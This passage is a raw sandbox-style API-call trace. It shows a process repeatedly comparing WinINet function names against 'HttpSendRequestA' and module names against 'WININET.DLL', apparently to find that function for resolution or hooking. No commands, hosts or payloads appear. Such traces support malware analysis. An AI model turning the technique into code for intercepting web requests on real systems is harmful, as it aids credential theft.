lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.456] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="HttpSendRequestA") returned 1 [0082.456] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="HttpSendRequestA") returned 1 [0082.456] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74b20000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74b20000, AllocationBase=0x74b20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.456] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.457] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.457] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.457] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.457] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.457] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.457] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.457] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.458] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.458] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.458] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.458] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.458] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.458] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.458] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.458] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.458] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.458] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.459] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.459] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.459] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.459] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.459] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.459] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.459] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.459] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.459] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.459] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.459] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.459] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.460] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.460] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.460] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74980000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x74980000, AllocationBase=0x74980000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.460] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.460] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.460] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.460] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.460] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.460] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.460] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.460] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.461] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.485] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.485] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.485] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.489] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.489] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.489] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.489] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.489] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.489] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.489] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.489] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.490] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.490] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.490] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.490] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.490] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0082.490] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.490] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.490] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.490] lstrcmpiA 